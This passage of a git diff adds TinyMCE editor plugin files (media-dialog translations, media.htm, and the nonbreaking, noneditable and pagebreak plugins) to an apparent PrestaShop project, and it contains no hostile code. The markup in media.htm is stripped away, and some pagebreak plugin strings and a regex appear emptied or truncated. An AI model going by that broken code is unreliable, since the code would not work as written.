\u0430\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443","shockwave_options":"\u041e\u043f\u0446\u0456\u0457 Shockwave","rmp_options":"\u041e\u043f\u0446\u0456\u0457 Real media player","wmp_options":"\u041e\u043f\u0446\u0456\u0457 Windows media player","qt_options":"\u041e\u043f\u0446\u0456\u0457 Quicktime","flash_options":"\u041e\u043f\u0446\u0456\u0457 Flash",hidden:"\u041f\u0440\u0438\u0445\u043e\u0432\u0430\u043d\u0438\u0439","align_bottom_left":"\u0417\u043d\u0438\u0437\u0443 \u0437\u043b\u0456\u0432\u0430","align_bottom_right":"\u0417\u043d\u0438\u0437\u0443 \u0437\u043f\u0440\u0430\u0432\u0430",flash:"flash",quicktime:"quicktime",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"\u0412\u0456\u0434\u0435\u043e \u043e\u043f\u0446\u0456\u0457 HTML5",altsource1:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e 1",altsource2:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e 2",preload:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f",source:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e","html5_audio_options":"\u0410\u0443\u0434\u0456\u043e \u043e\u043f\u0446\u0456\u0457",iframe:"iframe",embeddedaudio:"embeddedaudio","embedded_audio_options":"Embedded Audio Options",poster:"Poster","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/vi_dlg.js b/js/tiny_mce/plugins/media/langs/vi_dlg.js new file mode 100755 index 0000000..04fca2d --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.media_dlg',{list:"Danh s\u00e1ch",file:"T\u1eadp tin/URL",advanced:"N\u00e2ng cao",general:"Chung",title:"Ch\u00e8n / s\u1eeda ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng nh\u00fang","align_top_left":"Tr\u00ean c\u00f9ng tr\u00e1i","align_center":"Gi\u1eefa","align_left":"Tr\u00e1i","align_bottom":"D\u01b0\u1edbi c\u00f9ng","align_right":"Ph\u1ea3i","align_top":"Tr\u00ean c\u00f9ng","qt_stream_warn":"Ngu\u1ed3n rtsp theo lu\u1ed3ng n\u00ean \u0111\u01b0\u1ee3c th\u00eam v\u00e0o tr\u01b0\u1eddng QT Src d\u01b0\u1edbi th\u1ebb n\u00e2ng cao.\nB\u1ea1n c\u0169ng n\u00ean th\u00eam m\u1ed9t phi\u00ean b\u1ea3n kh\u00f4ng theo lu\u1ed3ng v\u00e0o tr\u01b0\u1eddng Src..",qtsrc:"QT Src",progress:"\u0110ang ti\u1ebfn tri\u1ec3n",sound:"\u00c2m thanh",swstretchvalign:"D\u00e3n theo V-Align",swstretchhalign:"D\u00e3n theo H-Align",swstretchstyle:"Ki\u1ec3u d\u00e3n",scriptcallbacks:"H\u00e0m g\u1ecdi ng\u01b0\u1ee3c Script","align_top_right":"Tr\u00ean c\u00f9ng ph\u1ea3i",uimode:"Ch\u1ebf \u0111\u1ed9 UI",rate:"T\u1ed1c \u0111\u1ed9",playcount:"\u0110\u1ebfm l\u1ea7n ph\u00e1t",defaultframe:"Khung m\u1eb7c \u0111\u1ecbnh",currentposition:"V\u1ecb tr\u00ed hi\u1ec7n th\u1eddi",currentmarker:"B\u1ed9 t\u1ea1o hi\u1ec7n th\u1eddi",captioningid:"id \u0111\u1ea7u \u0111\u1ec1",baseurl:"Base URL",balance:"C\u00e2n b\u1eb1ng",windowlessvideo:"Video kh\u00f4ng c\u1eeda s\u1ed5",stretchtofit:"D\u00e3n \u0111\u1ec3 ph\u00f9 h\u1ee3p",mute:"T\u1eaft \u00e2m thanh",invokeurls:"URL tri\u1ec7u g\u1ecdi",fullscreen:"To\u00e0n m\u00e0n h\u00ecnh",enabled:"Cho ph\u00e9p",autostart:"T\u1ef1 \u0111\u1ed9ng b\u1eaft \u0111\u1ea7u",volume:"\u00c2m l\u01b0\u1ee3ng",target:"\u0110\u00edch",qtsrcchokespeed:"T\u1ed1c \u0111\u1ed9 Choke",href:"Href",endtime:"Th\u1eddi gian k\u1ebft th\u00fac",starttime:"Th\u1eddi gian b\u1eaft \u0111\u1ea7u",enablejavascript:"Cho ph\u00e9p JavaScript",correction:"Kh\u00f4ng ch\u1ec9nh",targetcache:"B\u1ed9 nh\u1edb \u0111\u1ec7m \u0111\u00edch",playeveryframe:"Ph\u00e1t t\u1ea5t c\u1ea3 khung",kioskmode:"Ch\u1ebf \u0111\u1ed9 Kiosk",controller:"Tr\u00ecnh \u0111i\u1ec1u khi\u1ec3n",menu:"Hi\u1ec3n th\u1ecb menu",loop:"L\u1eb7p",play:"T\u1ef1 \u0111\u1ed9ng ph\u00e1t",hspace:"H-Space",vspace:"V-Space","class_name":"L\u1edbp",name:"T\u00ean",id:"Id",type:"Ki\u1ec3u",size:"K\u00edch th\u01b0\u1edbc",preview:"Xem tr\u01b0\u1edbc","constrain_proportions":"R\u00e0ng bu\u1ed9c t\u1ec9 l\u1ec7",controls:"\u0110i\u1ec1u khi\u1ec3n",numloop:"S\u1ed1 l\u1eb7p",console:"B\u00e0n \u0111i\u1ec1u khi\u1ec3n",cache:"B\u1ed9 nh\u1edb \u0111\u1ec7m",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"C\u01a1 s\u1edf",bgcolor:"N\u1ec1n",wmode:"WMode",salign:"SAlign",align:"Canh l\u1ec1",scale:"T\u1ec9 l\u1ec7",quality:"Ch\u1ea5t l\u01b0\u1ee3ng",shuffle:"Kh\u00f4ng theo tr\u1eadt t\u1ef1",prefetch:"T\u00ecm n\u1ea1p tr\u01b0\u1edbc",nojava:"Kh\u00f4ng c\u00f3 java",maintainaspect:"Duy tr\u00ec c\u1ea1nh",imagestatus:"Tr\u1ea1ng th\u00e1i \u1ea3nh",center:"Gi\u1eefa",autogotourl:"T\u1ef1 \u0111\u1ed9ng nh\u1ea3y t\u1edbi URL","shockwave_options":"T\u00f9y ch\u1ecdn Shockwave","rmp_options":"T\u00f9y ch\u1ecdn tr\u00ecnh ch\u01a1i media Real","wmp_options":"T\u00f9y ch\u1ecdn tr\u00ecnh ch\u01a1i media Windows","qt_options":"T\u00f9y ch\u1ecdn Quicktime","flash_options":"T\u00f9y ch\u1ecdn Flash",hidden:"\u1ea8n","align_bottom_left":"D\u01b0\u1edbi c\u00f9ng tr\u00e1i","align_bottom_right":"D\u01b0\u1edbi c\u00f9ng ph\u1ea3i","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/media/langs/zh-cn_dlg.js new file mode 100755 index 0000000..273a48f --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.media_dlg',{list:"\u5217\u8868",file:"\u6587\u4ef6/URL",advanced:"\u9ad8\u7ea7",general:"\u666e\u901a",title:"\u63d2\u5165/\u7f16\u8f91 \u5d4c\u5165\u5f0f\u5a92\u4f53","align_top_left":"\u5de6\u4e0a","align_center":"\u5c45\u4e2d","align_left":"\u5c45\u5de6","align_bottom":"\u5c45\u4e0b","align_right":"\u5c45\u53f3","align_top":"\u5c45\u4e0a","qt_stream_warn":"\u6d41\u5a92\u4f53RTSP\u8d44\u6e90\u5e94\u6dfb\u52a0\u5230\u9ad8\u7ea7\u9009\u9879\u7684QT\u8d44\u6e90\u4e2d\u3002n\u540c\u65f6\uff0c\u60a8\u4e5f\u53ef\u4ee5\u5728\u8fd9\u91cc\u52a0\u5165\u4e00\u4e2a\u975e\u6d41\u5a92\u4f53\u3002",qtsrc:"QT\u8d44\u6e90",progress:"\u8fdb\u5ea6",sound:"\u58f0\u97f3",swstretchvalign:"\u5782\u76f4\u62c9\u4f38",swstretchhalign:"\u6c34\u5e73\u62c9\u4f38",swstretchstyle:"\u62c9\u4f38\u65b9\u5f0f",scriptcallbacks:"\u811a\u672c\u56de\u8c03","align_top_right":"\u53f3\u4e0a",uimode:"\u5916\u89c2\u6a21\u5f0f",rate:"\u6bd4\u7387",playcount:"\u64ad\u653e\u6b21\u6570",defaultframe:"\u9ed8\u8ba4\u5e27",currentposition:"\u5f53\u524d\u4f4d\u7f6e",currentmarker:"\u5f53\u524d\u6807\u8bb0",captioningid:"\u5b57\u5e55ID",baseurl:"\u57fa\u7840\u8def\u5f84",balance:"\u5e73\u8861",windowlessvideo:"\u65e0\u8fb9\u6846",stretchtofit:"\u62c9\u4f38\u5230\u9002\u5408",mute:"\u9759\u97f3",invokeurls:"\u5f15\u7528URL",fullscreen:"\u5168\u5c4f",enabled:"\u542f\u7528",autostart:"\u81ea\u52a8\u64ad\u653e",volume:"\u97f3\u91cf",target:"\u76ee\u6807",qtsrcchokespeed:"\u9650\u5236\u901f\u5ea6",href:"\u8d85\u94fe\u63a5",endtime:"\u7ed3\u675f\u65f6\u95f4",starttime:"\u5f00\u59cb\u65f6\u95f4",enablejavascript:"\u542f\u7528JavaScript",correction:"\u65e0\u4fee\u6b63",targetcache:"\u76ee\u6807\u7f13\u5b58",playeveryframe:"\u9010\u5e27\u64ad\u653e",kioskmode:"\u5168\u5c4f\u6a21\u5f0f",controller:"\u63a7\u5236\u53f0",menu:"\u663e\u793a\u83dc\u5355",loop:"\u5faa\u73af",play:"\u81ea\u52a8\u64ad\u653e",hspace:"\u6c34\u5e73\u8ddd\u79bb",vspace:"\u5782\u76f4\u8ddd\u79bb","class_name":"\u7c7b\u522b",name:"\u540d\u79f0",id:"ID",type:"\u7c7b\u578b",size:"\u5c3a\u5bf8",preview:"\u9884\u89c8","constrain_proportions":"\u4fdd\u6301\u6bd4\u4f8b",controls:"\u64ad\u653e\u63a7\u5236",numloop:"\u5faa\u73af\u6b21\u6570",console:"\u63a7\u5236\u53f0",cache:"\u7f13\u5b58",autohref:"\u81ea\u52a8\u8df3\u8f6c",liveconnect:"JavaScript\u5f00\u542f",flashvars:"Flash\u53d8\u91cf",base:"\u57fa\u7840\u8def\u5f84",bgcolor:"\u80cc\u666f",wmode:"\u7a97\u4f53\u6a21\u5f0f",salign:"\u5a92\u4f53\u5bf9\u9f50",align:"\u6587\u672c\u5bf9\u9f50",scale:"\u7f29\u653e",quality:"\u753b\u8d28",shuffle:"\u968f\u673a",prefetch:"\u9884\u52a0\u8f7d",nojava:"\u65e0java",maintainaspect:"\u4fdd\u6301\u5916\u89c2",imagestatus:"\u56fe\u7247\u72b6\u6001",center:"\u5c45\u4e2d",autogotourl:"\u81ea\u52a8\u8f6c\u5230URL","shockwave_options":"Shockwave\u9009\u9879","rmp_options":"Real media player\u9009\u9879","wmp_options":"Windows media player\u9009\u9879","qt_options":"Quicktime\u9009\u9879","flash_options":"Flash\u9009\u9879",hidden:"\u9690\u85cf","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b","html5_video_options":"HTML5\u89c6\u9891\u9009\u9879",altsource1:"\u66ff\u4ee3\u8d44\u6e901",altsource2:"\u66ff\u4ee3\u8d44\u6e902",preload:"\u9884\u52a0\u8f7d",poster:"\u6d77\u62a5",source:"\u8d44\u6e90","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/media/langs/zh-tw_dlg.js new file mode 100755 index 0000000..da608d4 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.media_dlg',{"qt_stream_warn":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",source:"\u5d4c\u5165\u539f\u59cb\u6a94",list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert/Edit Embedded Media","align_top_left":"Top Left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top",qtsrc:"QT Source",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch Style",scriptcallbacks:"Script Callbacks","align_top_right":"Top Right",uimode:"UI Mode",rate:"Rate",playcount:"Play Count",defaultframe:"Default Frame",currentposition:"Current Position",currentmarker:"Current Marker",captioningid:"Captioning ID",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless Video",stretchtofit:"Stretch to Fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Full Screen",enabled:"Enabled",autostart:"Auto Start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke Speed",href:"HREF",endtime:"End Time",starttime:"Start Time",enablejavascript:"Enable JavaScript",correction:"No Correction",targetcache:"Target Cache",playeveryframe:"Play Every Frame",kioskmode:"Kiosk Mode",controller:"Controller",menu:"Show Menu",loop:"Loop",play:"Auto Play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"ID",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain Proportions",controls:"Controls",numloop:"Num Loops",console:"Console",cache:"Cache",autohref:"Auto HREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No Java",maintainaspect:"Maintain Aspect",imagestatus:"Image Status",center:"Center",autogotourl:"Auto Goto URL","shockwave_options":"Shockwave Options","rmp_options":"Real Media Player Options","wmp_options":"Windows Media Player Options","qt_options":"QuickTime Options","flash_options":"Flash Options",hidden:"Hidden","align_bottom_left":"Bottom Left","align_bottom_right":"Bottom Right","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/media.htm b/js/tiny_mce/plugins/media/media.htm new file mode 100755 index 0000000..50efe91 --- /dev/null +++ b/js/tiny_mce/plugins/media/media.htm @@ -0,0 +1,922 @@ + + + + {#media_dlg.title} + + + + + + + + + +
    + + +
    +
    +
    + {#media_dlg.general} + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
     
    +
    + + + + + + +
    x   
    +
    +
    + +
    + {#media_dlg.preview} + +
    +
    + +
    +
    + {#media_dlg.advanced} + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + +
     
    +
    +
    + +
    + {#media_dlg.html5_video_options} + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + +
    + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.embedded_audio_options} + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.html5_audio_options} + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + +
    + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.flash_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + + + + + + + +
    +
    + +
    + {#media_dlg.qt_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +  
    + + + + + +
     
    +
    +
    + +
    + {#media_dlg.wmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.rmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +   +
    +
    + +
    + {#media_dlg.shockwave_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    +
    + +
    +
    + {#media_dlg.source} + +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/media/moxieplayer.swf b/js/tiny_mce/plugins/media/moxieplayer.swf new file mode 100755 index 0000000..585d772 Binary files /dev/null and b/js/tiny_mce/plugins/media/moxieplayer.swf differ diff --git a/js/tiny_mce/plugins/nonbreaking/editor_plugin.js b/js/tiny_mce/plugins/nonbreaking/editor_plugin.js new file mode 100755 index 0000000..687f548 --- /dev/null +++ b/js/tiny_mce/plugins/nonbreaking/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Nonbreaking",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceNonBreaking",function(){a.execCommand("mceInsertContent",false,(a.plugins.visualchars&&a.plugins.visualchars.state)?' ':" ")});a.addButton("nonbreaking",{title:"nonbreaking.nonbreaking_desc",cmd:"mceNonBreaking"});if(a.getParam("nonbreaking_force_tab")){a.onKeyDown.add(function(d,f){if(f.keyCode==9){f.preventDefault();d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking")}})}},getInfo:function(){return{longname:"Nonbreaking space",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("nonbreaking",tinymce.plugins.Nonbreaking)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/nonbreaking/editor_plugin_src.js b/js/tiny_mce/plugins/nonbreaking/editor_plugin_src.js new file mode 100755 index 0000000..0a048b3 --- /dev/null +++ b/js/tiny_mce/plugins/nonbreaking/editor_plugin_src.js @@ -0,0 +1,54 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Nonbreaking', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceNonBreaking', function() { + ed.execCommand('mceInsertContent', false, (ed.plugins.visualchars && ed.plugins.visualchars.state) ? ' ' : ' '); + }); + + // Register buttons + ed.addButton('nonbreaking', {title : 'nonbreaking.nonbreaking_desc', cmd : 'mceNonBreaking'}); + + if (ed.getParam('nonbreaking_force_tab')) { + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode == 9) { + e.preventDefault(); + + ed.execCommand('mceNonBreaking'); + ed.execCommand('mceNonBreaking'); + ed.execCommand('mceNonBreaking'); + } + }); + } + }, + + getInfo : function() { + return { + longname : 'Nonbreaking space', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + + // Private methods + }); + + // Register plugin + tinymce.PluginManager.add('nonbreaking', tinymce.plugins.Nonbreaking); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/nonbreaking/index.php b/js/tiny_mce/plugins/nonbreaking/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/nonbreaking/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/noneditable/editor_plugin.js b/js/tiny_mce/plugins/noneditable/editor_plugin.js new file mode 100755 index 0000000..2d60138 --- /dev/null +++ b/js/tiny_mce/plugins/noneditable/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.dom.Event;tinymce.create("tinymce.plugins.NonEditablePlugin",{init:function(d,e){var f=this,c,b,g;f.editor=d;c=d.getParam("noneditable_editable_class","mceEditable");b=d.getParam("noneditable_noneditable_class","mceNonEditable");d.onNodeChange.addToTop(function(i,h,l){var k,j;k=i.dom.getParent(i.selection.getStart(),function(m){return i.dom.hasClass(m,b)});j=i.dom.getParent(i.selection.getEnd(),function(m){return i.dom.hasClass(m,b)});if(k||j){g=1;f._setDisabled(1);return false}else{if(g==1){f._setDisabled(0);g=0}}})},getInfo:function(){return{longname:"Non editable elements",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_block:function(c,d){var b=d.keyCode;if((b>32&&b<41)||(b>111&&b<124)){return}return a.cancel(d)},_setDisabled:function(d){var c=this,b=c.editor;tinymce.each(b.controlManager.controls,function(e){e.setDisabled(d)});if(d!==c.disabled){if(d){b.onKeyDown.addToTop(c._block);b.onKeyPress.addToTop(c._block);b.onKeyUp.addToTop(c._block);b.onPaste.addToTop(c._block);b.onContextMenu.addToTop(c._block)}else{b.onKeyDown.remove(c._block);b.onKeyPress.remove(c._block);b.onKeyUp.remove(c._block);b.onPaste.remove(c._block);b.onContextMenu.remove(c._block)}c.disabled=d}}});tinymce.PluginManager.add("noneditable",tinymce.plugins.NonEditablePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/noneditable/editor_plugin_src.js b/js/tiny_mce/plugins/noneditable/editor_plugin_src.js new file mode 100755 index 0000000..47b8a3b --- /dev/null +++ b/js/tiny_mce/plugins/noneditable/editor_plugin_src.js @@ -0,0 +1,95 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var Event = tinymce.dom.Event; + + tinymce.create('tinymce.plugins.NonEditablePlugin', { + init : function(ed, url) { + var t = this, editClass, nonEditClass, state; + + t.editor = ed; + editClass = ed.getParam("noneditable_editable_class", "mceEditable"); + nonEditClass = ed.getParam("noneditable_noneditable_class", "mceNonEditable"); + + ed.onNodeChange.addToTop(function(ed, cm, n) { + var sc, ec; + + // Block if start or end is inside a non editable element + sc = ed.dom.getParent(ed.selection.getStart(), function(n) { + return ed.dom.hasClass(n, nonEditClass); + }); + + ec = ed.dom.getParent(ed.selection.getEnd(), function(n) { + return ed.dom.hasClass(n, nonEditClass); + }); + + // Block or unblock + if (sc || ec) { + state = 1; + t._setDisabled(1); + return false; + } else if (state == 1) { + t._setDisabled(0); + state = 0; + } + }); + }, + + getInfo : function() { + return { + longname : 'Non editable elements', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _block : function(ed, e) { + var k = e.keyCode; + + // Don't block arrow keys, pg up/down, and F1-F12 + if ((k > 32 && k < 41) || (k > 111 && k < 124)) + return; + + return Event.cancel(e); + }, + + _setDisabled : function(s) { + var t = this, ed = t.editor; + + tinymce.each(ed.controlManager.controls, function(c) { + c.setDisabled(s); + }); + + if (s !== t.disabled) { + if (s) { + ed.onKeyDown.addToTop(t._block); + ed.onKeyPress.addToTop(t._block); + ed.onKeyUp.addToTop(t._block); + ed.onPaste.addToTop(t._block); + ed.onContextMenu.addToTop(t._block); + } else { + ed.onKeyDown.remove(t._block); + ed.onKeyPress.remove(t._block); + ed.onKeyUp.remove(t._block); + ed.onPaste.remove(t._block); + ed.onContextMenu.remove(t._block); + } + + t.disabled = s; + } + } + }); + + // Register plugin + tinymce.PluginManager.add('noneditable', tinymce.plugins.NonEditablePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/noneditable/index.php b/js/tiny_mce/plugins/noneditable/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/noneditable/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/pagebreak/editor_plugin.js b/js/tiny_mce/plugins/pagebreak/editor_plugin.js new file mode 100755 index 0000000..35085e8 --- /dev/null +++ b/js/tiny_mce/plugins/pagebreak/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.PageBreakPlugin",{init:function(b,d){var f='',a="mcePageBreak",c=b.getParam("pagebreak_separator",""),e;e=new RegExp(c.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g,function(g){return"\\"+g}),"g");b.addCommand("mcePageBreak",function(){b.execCommand("mceInsertContent",0,f)});b.addButton("pagebreak",{title:"pagebreak.desc",cmd:a});b.onInit.add(function(){if(b.theme.onResolveName){b.theme.onResolveName.add(function(g,h){if(h.node.nodeName=="IMG"&&b.dom.hasClass(h.node,a)){h.name="pagebreak"}})}});b.onClick.add(function(g,h){h=h.target;if(h.nodeName==="IMG"&&g.dom.hasClass(h,a)){g.selection.select(h)}});b.onNodeChange.add(function(h,g,i){g.setActive("pagebreak",i.nodeName==="IMG"&&h.dom.hasClass(i,a))});b.onBeforeSetContent.add(function(g,h){h.content=h.content.replace(e,f)});b.onPostProcess.add(function(g,h){if(h.get){h.content=h.content.replace(/]+>/g,function(i){if(i.indexOf('class="mcePageBreak')!==-1){i=c}return i})}})},getInfo:function(){return{longname:"PageBreak",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("pagebreak",tinymce.plugins.PageBreakPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/pagebreak/editor_plugin_src.js b/js/tiny_mce/plugins/pagebreak/editor_plugin_src.js new file mode 100755 index 0000000..fc3b3b4 --- /dev/null +++ b/js/tiny_mce/plugins/pagebreak/editor_plugin_src.js @@ -0,0 +1,74 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.PageBreakPlugin', { + init : function(ed, url) { + var pb = '', cls = 'mcePageBreak', sep = ed.getParam('pagebreak_separator', ''), pbRE; + + pbRE = new RegExp(sep.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g, function(a) {return '\\' + a;}), 'g'); + + // Register commands + ed.addCommand('mcePageBreak', function() { + ed.execCommand('mceInsertContent', 0, pb); + }); + + // Register buttons + ed.addButton('pagebreak', {title : 'pagebreak.desc', cmd : cls}); + + ed.onInit.add(function() { + if (ed.theme.onResolveName) { + ed.theme.onResolveName.add(function(th, o) { + if (o.node.nodeName == 'IMG' && ed.dom.hasClass(o.node, cls)) + o.name = 'pagebreak'; + }); + } + }); + + ed.onClick.add(function(ed, e) { + e = e.target; + + if (e.nodeName === 'IMG' && ed.dom.hasClass(e, cls)) + ed.selection.select(e); + }); + + ed.onNodeChange.add(function(ed, cm, n) { + cm.setActive('pagebreak', n.nodeName === 'IMG' && ed.dom.hasClass(n, cls)); + }); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = o.content.replace(pbRE, pb); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = 